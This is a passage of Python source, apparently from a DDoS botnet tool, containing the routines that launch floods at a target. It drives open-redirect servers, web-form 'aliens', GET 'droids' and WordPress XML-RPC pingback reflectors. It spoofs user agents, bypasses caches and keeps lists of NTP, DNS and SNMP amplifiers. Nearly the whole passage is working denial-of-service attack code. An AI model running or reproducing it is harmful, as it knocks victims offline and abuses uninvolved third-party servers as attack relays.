  4668. def discarding_zombies(self, zombie, zombies):
  4669. if zombie in self.discardzombies:
  4670. zombies.remove(zombie)
  4671. if self.options.verbose:
  4672. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4673. return zombies
  4674. def send_zombies(self, zombies):
  4675. # send Open Redirect zombies
  4676. time.sleep(1) # aiming (multi-threading flow time compensation)
  4677. if not self.options.disablepurge:
  4678. if not zombies:
  4679. self.empty_zombies = True
  4680. return
  4681. if self.options.verbose:
  4682. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4683. options = self.options
  4684. target = self.options.target
  4685. shuffle(zombies) # shuffle zombies order, each round :-)
  4686. if not self.options.disablepurge:
  4687. for zombie in zombies: # check if zombie is failing for autobalance army
  4688. if not zombie.startswith('http'): # discarded inmediately
  4689. self.discardzombies.append(zombie)
  4690. self.num_discard_zombies = self.num_discard_zombies + 1
  4691. zombies = self.discarding_zombies(zombie, zombies)
  4692. if not self.options.disablepurge:
  4693. if not zombies: # return when not any working
  4694. self.empty_zombies = True
  4695. return
  4696. for zombie in zombies:
  4697. t = urlparse(zombie)
  4698. name_zombie = t.netloc
  4699. if name_zombie == "":
  4700. name_zombie = zombie
  4701. if not self.options.attackme:
  4702. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4703. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4704. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4705. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4706. self.options.target = target
  4707. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4708. print("[Info] [Zombies] Payload: " + target)
  4709. print('='*55, "\n")
  4710. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4711. if not options.target.startswith('http'):
  4712. if options.forcessl:
  4713. options.target = "https://" + options.target
  4714. else:
  4715. options.target = "http://" + options.target
  4716. self.attack_mode = True
  4717. try:
  4718. if options.verbose:
  4719. print("[Info] [Zombies] Sniping: " + options.target)
  4720. self.connect_zombies(zombie)
  4721. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4722. self.db_flash = self.db_flash + 1
  4723. stress = self.stressing(target, zombie)
  4724. except Exception:
  4725. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4726. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4727. if not self.options.disablepurge:
  4728. self.discardzombies.append(zombie)
  4729. self.num_discard_zombies = self.num_discard_zombies + 1
  4730. if self.options.verbose:
  4731. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4732. self.attack_mode = False
  4733. def discarding_aliens(self, alien, aliens):
  4734. if alien in self.discard_aliens:
  4735. aliens.remove(alien)
  4736. if self.options.verbose:
  4737. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4738. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4739. return aliens
  4740. def send_aliens(self, aliens):
  4741. # extract external web abuse services urls (POST) and perform requests against target
  4742. time.sleep(2) # aiming (multi-threading flow time compensation)
  4743. if not self.options.disablepurge:
  4744. if not aliens: # return when not any working
  4745. self.options.disablealiens = True
  4746. return
  4747. target = self.options.target
  4748. options = self.options
  4749. shuffle(aliens) # shuffle aliens
  4750. if not self.options.disablepurge:
  4751. for alien in aliens:
  4752. if not alien.startswith('http'): # discarded inmediately
  4753. self.discard_aliens.append(alien)
  4754. self.num_discard_aliens = self.num_discard_aliens + 1
  4755. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4756. if not self.options.disablepurge:
  4757. if not aliens: # return when not any working
  4758. self.options.disablealiens = True
  4759. return
  4760. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4761. for alien in aliens:
  4762. name_alien = None
  4763. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4764. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4765. pattern_alien = re.compile(regex_alien)
  4766. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4767. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4768. pattern_param = re.compile(regex_param)
  4769. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4770. for u in alien_url:
  4771. url = u # ex: POST -> path/submit.php
  4772. try:
  4773. t = urlparse(url)
  4774. except:
  4775. pass
  4776. name_alien = t.netloc
  4777. if name_alien == "":
  4778. name_alien = alien
  4779. print("[Info] [Aliens] Attacking from: " + name_alien)
  4780. for p in param:
  4781. param_target = {p : target} # ex POST -> url=target
  4782. param_target = urllib.parse.urlencode(param_target)
  4783. try:
  4784. if options.verbose:
  4785. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4786. if options.proxy: # set proxy
  4787. self.proxy_transport(options.proxy)
  4788. if self.options.timeout: # set timeout
  4789. try:
  4790. alien_timeout = int(self.options.timeout)
  4791. except:
  4792. alien_timeout = 5
  4793. else:
  4794. alien_timeout = 5
  4795. if alien_timeout < 1:
  4796. alien_timeout = 5
  4797. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4798. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4799. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4800. except Exception:
  4801. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4802. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4803. if not self.options.disablepurge:
  4804. self.discard_aliens.append(alien)
  4805. self.num_discard_aliens = self.num_discard_aliens + 1
  4806. else:
  4807. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4808. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4809. if not self.options.disablepurge:
  4810. self.discard_aliens.append(alien)
  4811. self.num_discard_aliens = self.num_discard_aliens + 1
  4812. if self.options.verbose:
  4813. if name_alien:
  4814. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4815. else:
  4816. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4817. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4818. self.extra_zombies_lock = False # [ARMY] have finished
  4819. def extract_aliens(self):
  4820. # extract aliens from file
  4821. options = self.options
  4822. try:
  4823. f = open(self.aliens_file)
  4824. aliens = f.readlines()
  4825. aliens = [ alien.replace('\n','') for alien in aliens ]
  4826. f.close()
  4827. if not aliens:
  4828. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4829. self.options.disablealiens = True
  4830. return
  4831. else:
  4832. return aliens
  4833. except:
  4834. if os.path.exists(self.aliens_file) == True:
  4835. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4836. return #sys.exit(2)
  4837. else:
  4838. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4839. return #sys.exit(2)
  4840. def discarding_droids(self, droid, droids):
  4841. if droid in self.discard_droids:
  4842. droids.remove(droid)
  4843. if self.options.verbose:
  4844. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4845. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4846. return droids
  4847. def send_droids(self, droids):
  4848. # extract external web abuse services urls (GET) and perform requests against target
  4849. time.sleep(3) # aiming (multi-threading flow time compensation)
  4850. if not self.options.disablepurge:
  4851. if not droids: # return when not any working
  4852. self.options.disabledroids = True
  4853. return
  4854. target = self.options.target
  4855. try:
  4856. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4857. except:
  4858. target = urllib.parse.unquote(target)
  4859. if target.startswith('http://'): # remove http
  4860. target = target.replace('http://', '')
  4861. if target.startswith('https://'):
  4862. target = target.replace('https://', '') # remove https
  4863. options = self.options
  4864. shuffle(droids) # shuffle droids
  4865. if not self.options.disablepurge:
  4866. for droid in droids:
  4867. if not droid.startswith('http'): # discarded inmediately
  4868. self.discard_droids.append(droid)
  4869. self.num_discard_droids = self.num_discard_droids + 1
  4870. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4871. if not self.options.disablepurge:
  4872. if not droids: # return when not any working
  4873. self.options.disabledroids = True
  4874. return
  4875. shuffle(droids) # shuffle droids order, each discarding check :-)
  4876. for droid in droids:
  4877. name_droid = None
  4878. if "$TARGET" in droid: # replace droid/parameter for target
  4879. url = droid.replace("$TARGET", target)
  4880. t = urlparse(url)
  4881. name_droid = t.netloc
  4882. if name_droid == "":
  4883. name_droid = droid
  4884. print("[Info] [Droids] Attacking from: " + name_droid)
  4885. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4886. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4887. try:
  4888. if options.proxy: # set proxy
  4889. self.proxy_transport(options.proxy)
  4890. if self.options.timeout: # set timeout
  4891. try:
  4892. droid_timeout = int(self.options.timeout)
  4893. except:
  4894. droid_timeout = 5
  4895. else:
  4896. droid_timeout = 5
  4897. if droid_timeout < 1:
  4898. droid_timeout = 5
  4899. req = urllib.request.Request(url, None, headers)
  4900. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4901. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4902. except Exception:
  4903. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4904. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4905. if not self.options.disablepurge:
  4906. self.discard_droids.append(droid)
  4907. self.num_discard_droids = self.num_discard_droids + 1
  4908. else:
  4909. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4910. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4911. if not self.options.disablepurge:
  4912. self.discard_droids.append(droid)
  4913. self.num_discard_droids = self.num_discard_droids + 1
  4914. if self.options.verbose:
  4915. if name_droid:
  4916. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4917. else:
  4918. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4919. if self.options.disablerpcs and self.options.disableucavs:
  4920. self.extra_zombies_lock = False # [ARMY] have finished
  4921. def extract_droids(self):
  4922. # extract droids from file
  4923. options = self.options
  4924. try:
  4925. f = open(self.droids_file)
  4926. droids = f.readlines()
  4927. droids = [ droid.replace('\n','') for droid in droids ]
  4928. f.close()
  4929. if not droids:
  4930. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4931. self.options.disabledroids = True
  4932. return
  4933. else:
  4934. return droids
  4935. except:
  4936. if os.path.exists(self.droids_file) == True:
  4937. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4938. return #sys.exit(2)
  4939. else:
  4940. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4941. return #sys.exit(2)
  4942. def discarding_rpcs(self, rpc, rpcs):
  4943. if rpc in self.discard_rpcs:
  4944. rpcs.remove(rpc)
  4945. if self.options.verbose:
  4946. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4947. return rpcs
  4948. def send_rpcs(self, rpcs):
  4949. # extract vulnerable XML-RPC pingback services and perform requests against target
  4950. time.sleep(4) # aiming (multi-threading flow time compensation)
  4951. if not self.options.disablepurge:
  4952. if not rpcs: # return when not any working
  4953. self.options.disablerpcs = True
  4954. return
  4955. target = self.options.target
  4956. options = self.options
  4957. def random_key(length):
  4958. key = ''
  4959. for i in range(length):
  4960. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4961. return key
  4962. shuffle(rpcs) # shuffle rpcs
  4963. if not self.options.disablepurge:
  4964. for rpc in rpcs:
  4965. if not rpc.startswith('http'): # discarded inmediately
  4966. if not self.options.disablepurge:
  4967. self.discard_rpcs.append(rpc)
  4968. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4969. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4970. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4971. if not self.options.disablepurge:
  4972. if not rpcs: # return when not any working
  4973. self.options.disablerpcs = True
  4974. return
  4975. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4976. for rpc in rpcs:
  4977. t = urlparse(rpc)
  4978. name_rpc = t.netloc
  4979. if name_rpc == "":
  4980. name_rpc = rpc
  4981. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4982. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4983. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4984. key = random_key(8) # generate random value page to bypass cache
  4985. rpc_page = "?" + str(key)
  4986. key = random_key(6) # re-generate random value id to bypass cache
  4987. rpc_id = "=" + str(key)
  4988. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  4989. if "/xmlrpc.php" in rpc:
  4990. rpc_place = rpc.replace("xmlrpc.php", "")
  4991. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  4992. try:
  4993. if options.proxy: # set proxy
  4994. self.proxy_transport(options.proxy)
  4995. if self.options.timeout: # set timeout
  4996. try:
  4997. rpc_timeout = int(self.options.timeout)
  4998. except:
  4999. rpc_timeout = 5
  5000. else:
  5001. rpc_timeout = 5
  5002. if rpc_timeout < 1:
  5003. rpc_timeout = 5
  5004. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  5005. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  5006. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  5007. if self.options.verbose:
  5008. print("[Info] [X-RPCs] Reply:", target_reply)
  5009. except:
  5010. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  5011. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  5012. if not self.options.disablepurge:
  5013. self.discard_rpcs.append(rpc)
  5014. self.num_discard_rpcs = self.num_discard_rpcs + 1
  5015. else:
  5016. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  5017. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  5018. if not self.options.disablepurge:
  5019. self.discard_rpcs.append(rpc)
  5020. self.num_discard_rpcs = self.num_discard_rpcs + 1
  5021. if self.options.verbose:
  5022. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  5023. if self.options.disableucavs:
  5024. self.extra_zombies_lock = False # [ARMY] have finished
  5025. def extract_rpcs(self):
  5026. # extract rpcs from file
  5027. options = self.options
  5028. try:
  5029. f = open(self.rpcs_file)
  5030. rpcs = f.readlines()
  5031. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  5032. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  5033. f.close()
  5034. if not rpcs:
  5035. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  5036. self.options.disablerpcs = True
  5037. return
  5038. else:
  5039. return rpcs
  5040. except:
  5041. if os.path.exists(self.rpcs_file) == True:
  5042. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  5043. return
  5044. else:
  5045. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  5046. return
  5047. def extract_ntps(self):
  5048. # extract ntps from file
  5049. options = self.options
  5050. try:
  5051. f = open(self.ntps_file)
  5052. ntps = f.readlines()
  5053. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  5054. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  5055. f.close()
  5056. if not ntps:
  5057. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  5058. return
  5059. else:
  5060. return ntps
  5061. except:
  5062. if os.path.exists(self.ntps_file) == True:
  5063. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  5064. return
  5065. else:
  5066. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  5067. return
  5068. def extract_dnss(self):
  5069. # extract dnss from file
  5070. options = self.options
  5071. try:
  5072. f = open(self.dnss_file)
  5073. dnss = f.readlines()
  5074. dnss = [ dns.replace('\r','') for dns in dnss ]
  5075. dnss = [ dns.replace('\n','') for dns in dnss ]
  5076. f.close()
  5077. if not dnss:
  5078. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  5079. return
  5080. else:
  5081. return dnss
  5082. except:
  5083. if os.path.exists(self.dnss_file) == True:
  5084. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  5085. return
  5086. else:
  5087. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  5088. return
  5089. def extract_snmps(self):
  5090. # extract snmps from file
  5091. options = self.options
  5092. try:
  5093. f = open(self.snmps_file)
  5094. snmps = f.readlines()
  5095. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  5096. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  5097. f.close()
  5098. if not snmps:
  5099. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  5100. return
  5101. else:
  5102. return snmps
  5103. except:
  5104. if os.path.exists(self.snmps_file) == True:
  5105. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  5106. return
  5107. else:
  5108. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  5109. return
  5110. def extract_zombies(self):
  5111. options = self.options
  5112. if self.options.test:
  5113. try:
  5114. f = open(options.test)
  5115. zombies = f.readlines()
  5116. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  5117. f.close()
  5118. if not zombies:
  5119. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5120. return
  5121. else:
  5122. return zombies
  5123. except:
  5124. if os.path.exists(options.test) == True:
  5125. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5126. return #sys.exit(2)
  5127. else:
  5128. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5129. return #sys.exit(2)
  5130. else:
  5131. try:
  5132. f = open(self.zombies_file)
  5133. zombies = f.readlines()
  5134. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  5135. f.close()
  5136. if not zombies:
  5137. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5138. return
  5139. else:
  5140. return zombies
  5141. except:
  5142. if os.path.exists(self.zombies_file) == True:
  5143. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5144. return #sys.exit(2)
  5145. else:
  5146. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  5147. return #sys.exit(2)
  5148. def extract_target_list(self):
  5149. options = self.options
  5150. try:
  5151. f = open(options.target_list)
  5152. targets = f.readlines()
  5153. targets = [ target.replace('\n','') for target in targets ]
  5154. f.close()
  5155. if not targets:
  5156. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5157. return
  5158. else:
  5159. return targets
  5160. except:
  5161. if os.path.exists(options.target_list) == True:
  5162. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5163. return #sys.exit(2)
  5164. else:
  5165. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  5166. return #sys.exit(2)
  5167. def update_zombies(self, zombies_ready):
  5168. # update zombies on file
  5169. options = self.options
  5170. if options.attackme:
  5171. f = open(self.zombies_file, "w") # re-write list
  5172. for zombie in self.doll.real_zombies: # add only alien verified zombies
  5173. for x in zombie:
  5174. f.write(str(x) + os.linesep)
  5175. f.close()
  5176. if options.test or options.testall:
  5177. if not options.test:
  5178. options.test = self.zombies_file
  5179. f = open(options.test, "w") # re-write list only with zombies ready
  5180. for zombie in zombies_ready:
  5181. f.write(zombie + os.linesep)
  5182. f.close()
  5183. if options.search or options.dorks or options.autosearch or options.download or options.download_nodes: # append only new zombies to list (dorking supported)
  5184. f = open(self.zombies_file)
  5185. zombies_on_file = f.read().splitlines()
  5186. with open(self.zombies_file, "a") as zombie_list:
  5187. for zombie in zombies_ready:
  5188. if zombie not in zombies_on_file: # parse possible repetitions
  5189. zombie_list.write(zombie + os.linesep)
  5190. if options.download or options.download_nodes:
  5191. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5192. else:
  5193. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  5194. f.close()
  5195. def update_aliens(self, aliens_ready):
  5196. # update aliens on file
  5197. options = self.options
  5198. if options.download or options.download_nodes: # append only new aliens to list
  5199. f = open(self.aliens_file)
  5200. aliens_on_file = f.read().splitlines()
  5201. with open(self.aliens_file, "a") as alien_list:
  5202. for alien in aliens_ready:
  5203. if alien not in aliens_on_file: # parse possible repetitions
  5204. alien_list.write(alien + os.linesep)
  5205. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5206. f.close()
  5207. def update_droids(self, droids_ready):
  5208. # update droids on file
  5209. options = self.options
  5210. if options.download or options.download_nodes: # append only new droids to list
  5211. f = open(self.droids_file)
  5212. droids_on_file = f.read().splitlines()
  5213. with open(self.droids_file, "a") as droid_list:
  5214. for droid in droids_ready:
  5215. if droid not in droids_on_file: # parse possible repetitions
  5216. droid_list.write(droid + os.linesep)
  5217. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5218. f.close()
  5219. def update_ucavs(self, ucavs_ready):
  5220. # update ucavs on file
  5221. options = self.options
  5222. if options.download or options.download_nodes: # append only new ucavs to list
  5223. f = open(self.ucavs_file)
  5224. ucavs_on_file = f.read().splitlines()
  5225. with open(self.ucavs_file, "a") as ucav_list:
  5226. for ucav in ucavs_ready:
  5227. if ucav not in ucavs_on_file: # parse possible repetitions
  5228. ucav_list.write(ucav + os.linesep)
  5229. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5230. f.close()
  5231. def update_rpcs(self, rpcs_ready):
  5232. # update rpcs on file
  5233. options = self.options
  5234. if options.testrpc or options.testall:
  5235. f = open(self.rpcs_file, "w") # re-write list
  5236. for rpc in rpcs_ready: # add only rpc verified zombies
  5237. f.write(rpc + os.linesep)
  5238. f.close()
  5239. if options.download or options.download_nodes: # append only new rpcs to list
  5240. f = open(self.rpcs_file)
  5241. rpcs_on_file = f.read().splitlines()
  5242. with open(self.rpcs_file, "a") as rpc_list:
  5243. for rpc in rpcs_ready:
  5244. if rpc not in rpcs_on_file: # parse possible repetitions
  5245. rpc_list.write(rpc + os.linesep)
  5246. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5247. f.close()
  5248. def update_dnss(self, dnss_ready):
  5249. # update dns on file
  5250. options = self.options
  5251. if options.download or options.download_nodes: # append only new dns to list
  5252. f = open(self.dnss_file)
  5253. dnss_on_file = f.read().splitlines()
  5254. with open(self.dnss_file, "a") as dns_list:
  5255. for dns in dnss_ready:
  5256. if dns not in dnss_on_file: # parse possible repetitions
  5257. dns_list.write(dns + os.linesep)
  5258. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5259. f.close()
  5260. def update_ntps(self, ntps_ready):
  5261. # update ntps on file
  5262. options = self.options
  5263. if options.download or options.download_nodes: # append only new ntps to list
  5264. f = open(self.ntps_file)
  5265. ntps_on_file = f.read().splitlines()
  5266. with open(self.ntps_file, "a") as ntp_list:
  5267. for ntp in ntps_ready:
  5268. if ntp not in ntps_on_file: # parse possible repetitions
  5269. ntp_list.write(ntp + os.linesep)
  5270. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5271. f.close()
  5272. def update_snmps(self, snmps_ready):
  5273. # update snmps on file
  5274. options = self.options
  5275. if options.download or options.download_nodes: # append only new snmps to list
  5276. f = open(self.snmps_file)
  5277. snmps_on_file = f.read().splitlines()
  5278. with open(self.snmps_file, "a") as snmp_list:
  5279. for snmp in snmps_ready:
  5280. if snmp not in snmps_on_file: # parse possible repetitions
  5281. snmp_list.write(snmp + os.linesep)
  5282. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  5283. f.close()
  5284. def search_rpc(self, rpc_host):
  5285. options = self.options
  5286. rpc_vulnerable = False
  5287. rpc_pingback_url = False
  5288. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5289. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5290. try:
  5291. if self.options.testall: # testing_all
  5292. if options.proxy: # set proxy
  5293. self.proxy_transport(options.proxy)
  5294. req = urllib.request.Request(rpc_host, None, headers)
  5295. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5296. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  5297. for link in rpc_links:
  5298. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  5299. rpc_pingback_url = link[0]
  5300. rpc_vulnerable = True
  5301. break # found it!
  5302. else: # not any XML-RPC discovering methods are working
  5303. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  5304. rpc_vulnerable = False
  5305. else:
  5306. if rpc_host.startswith("http://"):
  5307. rpc_host = rpc_host.replace("http://", "")
  5308. if rpc_host.startswith("https://"):
  5309. rpc_host = rpc_host.replace("https://", "")
  5310. rpc_host = urlparse(rpc_host)
  5311. rpc_path = rpc_host.path.replace("\r", "")
  5312. self.head = True # send HTTP HEAD request searching for: X-Pingback
  5313. reply = self.connect_zombie(rpc_path)
  5314. self.head = False
  5315. if "X-Pingback" in reply: # discovering pingback-enabled resources
  5316. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  5317. rpc_pingback_url = m.group(1) # extract rpc server url
  5318. rpc_vulnerable = True
  5319. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  5320. if options.proxy: # set proxy
  5321. self.proxy_transport(options.proxy)
  5322. req_rpc = urllib.request.Request(rpc_host, None, headers)
  5323. req_rpc.get_method = lambda : 'GET'
  5324. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  5325. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  5326. for link in rpc_links:
  5327. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  5328. rpc_pingback_url = link[0]
  5329. rpc_vulnerable = True
  5330. break # found it!
  5331. else: # not any XML-RPC discovering methods are working
  5332. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  5333. rpc_vulnerable = False
  5334. except: # something wrong discovering XML-RPC Pingback
  5335. pass
  5336. return rpc_vulnerable, rpc_pingback_url
  5337. def testing_offline(self):
  5338. # check for zombies offline
  5339. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  5340. print('='*35)
  5341. zombies_online = 0
  5342. zombies_offline = 0
  5343. zombies = self.extract_zombies()
  5344. rpcs = self.extract_rpcs()
  5345. aliens = self.extract_aliens()
  5346. droids = self.extract_droids()
  5347. ucavs = self.extract_ucavs()
  5348. try:
  5349. botnet = zombies + rpcs + aliens + droids + ucavs
  5350. except:
  5351. return
  5352. discarded = [] # for discarded zombies
  5353. if not botnet:
  5354. return
  5355. self.head = True
  5356. for zombie in botnet:
  5357. zombie = str(zombie)
  5358. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  5359. zombie_type = 'Zombie'
  5360. elif zombie in rpcs:
  5361. zombie_type = 'XML-RPC'
  5362. elif zombie in aliens:
  5363. zombie_type = 'Alien'
  5364. elif zombie in droids:
  5365. zombie_type = 'Droid'
  5366. elif zombie in ucavs:
  5367. zombie_type = 'UCAV'
  5368. t = urlparse(zombie)
  5369. name_zombie = t.netloc
  5370. if name_zombie == "":
  5371. name_zombie = zombie
  5372. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  5373. sep = ';$POST;'
  5374. zombie = zombie.split(sep, 1)[0]
  5375. try:
  5376. reply = str(self.connect_zombie(zombie))
  5377. except:
  5378. reply = None
  5379. if reply:
  5380. if reply == "200" or reply == "301" or reply == "302":
  5381. status = "ONLINE! -> [OK!]"
  5382. else:
  5383. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  5384. zombies_online = zombies_online + 1
  5385. else:
  5386. status = "NOT Working!"
  5387. zombies_offline = zombies_offline + 1
  5388. print("\nName:", name_zombie)
